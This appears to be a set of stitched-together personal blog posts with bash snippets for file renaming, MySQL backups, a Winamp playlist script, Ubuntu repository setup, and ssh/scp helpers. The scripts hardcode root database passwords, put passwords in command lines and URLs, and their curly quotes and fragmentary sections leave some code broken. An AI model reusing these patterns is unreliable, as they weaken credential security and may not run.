The original file names were the same 6 names from 40 different pages. wget names those like this:
01_resize.jpg
01_resize.jpg.1
01_resize.jpg.2

etc.

The other files were:
02_resize.jpg
03_resize.jpg

etc, up to 6.

Here is what I came up with that gives each file a unique name and a valid extension ( 01_resize.jpg.02 becomes 02_01_resize.jpg ) (you can yell at me for parsing the output of ‘ls’ later)

for i in $(ls); do
seq=$(echo $i | cut -d. -f 3)
fname=$(echo $i | cut -d. -f 1-2)
mv $i $seq\_$fname
done

Hopefully it’s of some use to someone! I’m basically grabbing the different parts of the filename using cut with a delimiter of ‘.’ ; that’s where the magic is. There’s probably a more efficient way of doing this, but it’s what made sense to my brain after being up for 24 hours.

http://ip2k.com/sitelist.sh

This bash script combines many useful little tricks that you may be interested in even if you don’t need the whole thing. Some include:

- Print a list of IPs on the linux system
- Print a list of websites hosted on the server that match a certain pattern (app = Magento in this case)
- Looping


trap sorry INT
#Two levels of debugging, 1 and 2. 1 shows just pings, 2 shows everything.
dbg=0

rm -rf tempfile
exit 0


Link: http://seanp2k.com/m.sh

It is below:

#!/bin/bash
# ----- BEING DECLARE FUNCTIONS -----

#!/bin/bash

# vars – no trailing slash please
THEDATE=$(date +%m%d%y%H%M%S)
BACKUPDIR=’/backups/mysql’
TEMPDIR=’/backups/mysql/temp’
LOGFILE=”$TEMPDIR/info-$THEDATE.txt”
USER=root
PASSWORD=password
date > $LOGFILE

date

echo -e “\e[1;35m[ " $(date +%H:%M:%S) "-- Starting MySQL Backup Script v0.3 by Seanp2k ]\e[00m"

# magic
DATABASES=$(mysql --user=$USER --password=$PASSWORD -e "SHOW DATABASES;" | tr -d "| " | grep -v Database)

echo -e "\e[1;35m[ " $(date +%H:%M:%S) "-- Found" $(echo $DATABASES | wc -w) "databases:" $DATABASES "]\e[00m"

# loop -- dump and hash
for DB in $DATABASES; do

echo -en "\e[1;35m[ " $(date +%H:%M:%S)
echo -n " -- Processing " $DB ".."
mysqldump --user=$USER --password=$PASSWORD --databases $DB > $TEMPDIR/$DB-$THEDATE.sql
echo -n "..md5sum..."
md5sum $TEMPDIR/$DB-$THEDATE.sql >> $LOGFILE
echo -e "Done ]\e[00m"
done

# compress and clean
echo -e "\e[1;35m[ " $(date +%H:%M:%S) "-- Creating Archive " $BACKUPDIR/mysql-THEDATE.tar.bz2 "]\e[00m"
time tar -cvvjf $BACKUPDIR/mysql-$THEDATE.tar.bz2 $TEMPDIR/*.sql $TEMPDIR/info-$THEDATE.txt
rm -rf $TEMPDIR/*.sql $TEMPDIR/info-$THEDATE.txt
date
echo -e "\e[1;35m[ " $(date +%H:%M:%S) "-- Finished ]\e[00m”

Let’s start by looking at what we have and what we have to do:
Files on a Linux fileserver playing on a Windows server (via samba) in Winamp using EdCast to stream to sc_serv (Shoutcast) on a different Linux server in the DMZ. Currently, I have the X: drive on the Windows server mapped to the Linux Fileserver. Winamp re-scans the fileserver every 3 days for new music and adds it to the library, but I still have to manually go in and add new tracks to the playlist.

Some initial ideas and problems:
-Use XML-RPC / SOAP from another music cataloging program that I currently use
+I just really feel like there was an easier way to do what I wanted without going through all the trouble.

-Telling Winamp to [re]load the playlist: the Winamp API Uses C++…yuck…I don’t know or want to learn C++ just for this project. Plus, DRY applies, someone HAS to have thought of this before.
+Solution: httpQ, a simple http listener plugin for Winamp that uses a simple and easy to implement control scheme: simply call the right URL and Winamp does what you want. Awesome. ( http://httpq.sourceforge.net )

-Finding files that have been modified recently, and if none have been modified in the time specified, keep looking until you find enough files

So let’s look at what we’re going to do with this script:
-Set up some variables for internal use and for how many tracks we want in our playlist
-Loop through something to find our tracks and write them out to a file
-Check that file to see if if has as many lines as we want (I know a better way to do this would be to just store it in memory and index it until you have enough, but on a modest p4 this executes in about 1 second in a directory with ~300GB files…YMMV but it wasn’t slow enough to justify re-writing it for me)
-if it doesn’t, re-generate it and let some files that are a bit older get included as well
-Tell Winamp to drop its current playlist
-Tell Winamp to load our new playlist
-Tell Winamp to play, just to make sure it’s playing…you don’t want to have dead air, even on the internet.

And finally, the script:

#!/bin/bash

DAY=3
#set the default to search for files 3 or less days old

CNT=0
#initalize count…don’t really need to but it makes me feel better

DESIRED=200
#how many files do you want (at least)?

until [ $CNT -ge $DESIRED ]; do
#until the playlist has as many or more files than we specified, keep doing this over and over…probably should set some limit so it doesn’t go nuts if it has an error

find /foo/bar -mtime -”$DAY” -iname “*.mp3″ -print | sed ‘s^/foo/bar/^X:\\files\\^’ | tr ‘/’ ‘\’ > /foo/bar/current.m3u
#find files named *.mp3 in /foo/bar with a modified time of minus X days and echo the results…to sed which replaces /foo/bar with X:\Windows\Path…fix for converting slashes to
#backslashes…sed also works but tr runs faster

CNT=$(wc -l /foo/bar/current.m3u | cut -d\ -f1)
#count the lines of the playlist. Note that I’m passing a space as the delimeter to cut, by escaping with a backslash then double space until the next flag,
#which grabs column 1 (col2 is the filename, yick)

let DAY+=1
#shorthand for day = day+1…won’t be used unless we loop again.
done

wget -O – –quiet “http://windows:4800/delete?p=passwd”
wget -O – –quiet “http://windows:4800/playfile?p=passwd&file=X:\current.m3u”
wget -O – –quiet “http://windows:4800/play?p=passwd”
#the RPC calls to the Windows server. Note that we’re telling wget to output to -…i.e. drop the output.
#Also, be sure to double quote that URL.
exit 0;
#exit with no error code

Luckily, backing up MySQL isn’t nearly as hard as it might sound. Actually, it’s only one command. But, not many people have only one MySQL DB, and dumping all of them to a single file can be hard to parse should you only need to import one. This is easily remedied by making a script run on cron to dump them all individually.

I set this script to run once a week, monday morning at 5am. It generates a logfile as well, info.txt.sl, which contains the date, a list of files, and their MD5Sum. Finally, it uses bzip2 to compress the files efficiently. MD5Sums are critical in determining the integrity of the archive and to ensure the database has not been corrupted or altered since the snapshot was taken.

Without further ado;

#!/bin/bash

#grab only the month, day, and year.
THEDATE=$(date +%m%d%y)

#full path for backup directory. Make sure it is writable by the user you have cron run the script as.
BACKUPDIR=’/mysqlbackup’

#full path for logfile. Probably don’t change this.
LOGFILE=”$BACKUPDIR/info.txt.sql”

#username to connect to the DB with
USR=’root’

#password for above user. Change this. Those are single quotes, not backticks.
PSWD=’MYSQL USER PASSWORD GOES HERE’

#toss the date into the logfile. This is the system provided date.
date > $LOGFILE

#the actual dumps. Make sure you change all the passwords.
#to add another database, follow this format: (replace [DBNAME] with the database name)
#mysqldump -u $USR -p$PSWD [DBNAME] > $BACKUPDIR/[DBNAME]_$THEDATE.sql

mysqldump -u $USR -p$PSWD information_schema > $BACKUPDIR/information_schema_$THEDATE.sql
mysqldump -u $USR -p$PSWD mysql > $BACKUPDIR/mysql_$THEDATE.sql

#MD5Sum the dumps and write that to the log.
md5sum $BACKUPDIR/information_schema_$THEDATE.sql >> $LOGFILE
md5sum $BACKUPDIR/mysql_$THEDATE.sql >> $LOGFILE

#bzip2 all the files, including the log. Name the archive with the date.
tar -cvvjf $BACKUPDIR/$THEDATE.tar.bz2 $BACKUPDIR/*.sql

#clean up the dumped files as they are already tar’d
rm -rf $BACKUPDIR/*.sql

Add that to a crontab to run as a user with write permission on the backup directory and however often you want. Note that in its current form, it will overwrite the archive if you run it twice in one day. You can simply modify the “THEDATE=$(date +%m%d%y)” string to put more info in there, such as “THEDATE=$(date +%m%d%y%H%M%S)” to make the files suffixed with something like “081308170651″ (08th month, 13th day, 08th 2dig-year, 17th hour, 6th minute, 51st second). This may be more reliable depending on how often you want to run the backup.

1.  Pop open your favorite terminal and ´su´ to root.  To enable su in ubuntu, do a

sudo passwd root

and type in a password for your root account, and please, for the love of security, don´t make it the same as your regular user password…all because sudo is a pain in the butt.

2.  Type:

nano /etc/apt/sources.list

3. Press Ctrl + O and change the filename to ´/etc/apt/sources.list.old´. Press enter to save it. Press ´y´ to save under a different name.

4. Scroll up to the top line using the arrow keys. Make sure you go all the way to the top. Mash down Ctrl+K to cut line…except we won´t be pasting it anywhere.

5. Paste the following into the file:

# /etc/apt/sources.list file for Ubuntu Hardy Heron 8.04.
# Put together and tested by John Pyper, BaD_CrC on Freenode IRC.
# Everything here works for me. Your success may vary.
# This is a work in progress.

### [UBUNTU]
# url: http://ubuntu.com/
# http://ubuntu.osuosl.org/ is my mirror of choice due to speed and almost instant updates
deb http://ubuntu.osuosl.org/ubuntu/ hardy main restricted universe multiverse
deb http://ubuntu.osuosl.org/ubuntu/ hardy-updates main restricted universe multiverse
deb http://ubuntu.osuosl.org/ubuntu/ hardy-backports main restricted universe multiverse
deb http://ubuntu.osuosl.org/ubuntu/ hardy-proposed main restricted universe multiverse
# get security updates from ubuntu security directly only
deb http://security.ubuntu.com/ubuntu/ hardy-security main restricted universe multiverse

### [CANONICAL]
# url: http://canonical.com/
deb http://archive.canonical.com/ubuntu/ hardy partner
deb http://archive.canonical.com/ubuntu/ hardy-updates partner
deb http://archive.canonical.com/ubuntu/ hardy-backports partner
deb http://archive.canonical.com/ubuntu/ hardy-proposed partner
deb http://archive.canonical.com/ubuntu/ hardy-security partner

### [MEDIBUNTU]
# url: http://medibuntu.org/
deb http://packages.medibuntu.org/ hardy free non-free

### [WINE]
# url: http://winehq.org/
deb http://wine.budgetdedicated.com/apt/ hardy main

### [VIRTUALBOX]
# url: http://virtualbox.org/
# no hardy repo yet, this works fine with hardy. will update as it becomes available.
deb http://virtualbox.org/debian/ gutsy non-free

### [MOBLOCK]
# url: http://moblock-deb.sourceforge.net
deb http://moblock-deb.sourceforge.net/debian/ hardy main

### [CORENOMINAL]
# url: https://launchpad.net/~corenominal/
# no hardy repo yet, this works fine with hardy. will update as it becomes available.
deb http://ppa.launchpad.net/corenominal/ubuntu/ gutsy main restricted universe multiverse

### [GOOGLE]
# url: http://google.com/linuxrepositories/
deb http://dl.google.com/linux/deb/ stable non-free

### [VIDEOLAN]
# url: http://videolan.org/
deb http://nightlies.videolan.org/build/hardy-i386/arch ./

### [LXDE]
# url: http://lxde.org/
deb http://ppa.launchpad.net/lxde/ubuntu hardy main

6. Press Ctrl+O again and change the name back to ´/etc/apt/sources.list´ and hit enter. Press Y again to save under a different name.

7. Press Ctrl+X to exit GNU nano.

8. While still root, type:

apt-get update

and you should see a scroll of all the updates to your package list. Now you can go back to using synaptic or aptitude and be able to select from quite a large range of packages.

Ooh, and one last step…
9. Have fun!

cat /var/log/warn |grep sshd |grep failure |less

You will probably want to make an alias out of that, like this:

echo “alias sshfail=’cat /var/log/warn |grep sshd |grep failure |less’” >> ~/.bashrc

Make sure to re-execute bash to re-load your .bashrc and apply the alias.  When you want to see who is trying to bruteforce your server, simply type sshfail and it will pop up a list of all the attempts.

Remember to always keep your ssh server as secure as possible to prevent attacks.  I have written a whitepaper on this which can be found here and will probably get its own post when time allows.

The first function searches through the text of all the files in your current directory.  Very useful for, say, debugging a PHP script you didn’t write and can’t track down where that damn MySQL connect string actually is.

Usage: grip [text]

function grip {
grep -ir “$1″ “$PWD”
}

Yes, it is VERY simple, however I believe you will find it is an indispensable tool for hunting stuff down and cutting the time searching by at least 9000 times.

The next script looks a bit more complex, partially because I commented it so you could see what is going on, partially because it’s so customizable.  It’s for running scp with preset variables, you could maybe make a few of these for different servers you use scp to send files to, again a big time-saver.  Note that this assumes that scp is in your $PATH.  If it isn’t, edit the final command that actually runs scp to whatever is relevant to your configuration.

Usage: scp file [remotefile]

function sshcp {
#ssh cp function by seanp2k
FNAME=$1
#the name of the file or files you want to copy
PORTNUM=”22″
#the port number for ssh, usually 22
HOSTNAM=”192.168.1.1″
#the host name or IP you are trying to ssh into
if [ $2 ]
then
RFNAME=”:$2″
else
RFNAME=”:”
fi
#if you specify a second argument, i.e. sshcp foo.tar blah.tar,
#it will take foo.tar locally and copy it to remote file bar.tar
#otherwise, just use the input filename
USRNAME=”root”
#you should never allow root login via ssh, so change this username

scp -P “$PORTNUM” “$FNAME” “$USRNAME@$HOSTNAM$RFNAME”

}

Whew.  You will have to configure this for it to work correctly, unless you want to log into 192.168.1.1 on port 22 with username “root” and copy files to root’s home directory.  I believe you can specify a different path in the second argument to sshcp assuming that the user you are logging in as has permission to write to that directory.  Example: sshcp somefile.conf /etc/apache2/httpd.conf .  Note that I have not tried this and I would not be surprised if it didn’t work.  Also note that it will overwrite the destination file without conformation.  You have been warned.

cd /www

is much easier than

cd /usr/local/www/htdocs

ha.

So, to locate all symbolic links in the current directory and any directories under that:

find */* -type l

That should do it!  Note that that is a lowercase “L” and not a “one”.  This should make it easier if you have a terrible recursion problem with some script following links and don’t feel like fixing the actual script, or in this case, a fairly large perl program AKA slimserver.